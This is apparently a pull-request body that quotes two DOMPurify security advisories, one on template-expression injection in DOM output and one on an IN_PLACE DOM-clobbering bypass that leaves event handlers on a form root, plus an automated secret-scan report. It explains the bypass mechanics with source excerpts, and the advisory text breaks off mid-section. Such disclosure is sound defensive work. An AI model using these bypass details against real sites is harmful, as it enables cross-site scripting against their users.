What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.

Preconditions for Exploitation

Precondition	Notes
SAFE_FOR_TEMPLATES: true	Non-default - must be explicitly set
RETURN_DOM: true or IN_PLACE: true	Non-default - must be explicitly set
Template engine processes <template>.content	Application-dependent

What Is NOT Affected

The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:

// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
    serializedHTML = stringReplace(serializedHTML, expr, ' ');
  });
}

Severity

• CVSS Score: 2.0 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr
• https://github.com/advisories/GHSA-gvmj-g25r-r7wr

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CVE-2026-49459 / GHSA-r47g-fvhr-h676

More information

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected

• DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
• Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

• String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
• IN_PLACE where the root is not an HTMLFormElement
• IN_PLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the bool

✂ Note

PR body was truncated to here.

[github-actions]

TruffleHog Scan Results

Summary: Found 3 potential secrets (0 verified, 3 unverified)

• Possible secret (NpmToken) at .yarn/releases/yarn-4.17.1.cjs:711 → 1de6***4a2f
• Possible secret (Gitlab) at .yarn/releases/yarn-4.17.1.cjs:711 → npmP***ance
• Possible secret (NpmToken) at .yarn/releases/yarn-4.17.1.cjs:715 → 1de6***4a2f

Review: Check if unverified secrets are false positives.

---

Ignoring False Positives:
To mark a false positive, add # trufflehog:ignore as an inline comment on the same line as the detected secret:

my_fake_secret = "AKIAIOSFODNN7EXAMPLE"  # trufflehog:ignore

This works for files that support line numbers (most source files). After adding the comment, push your changes and the scan will re-run.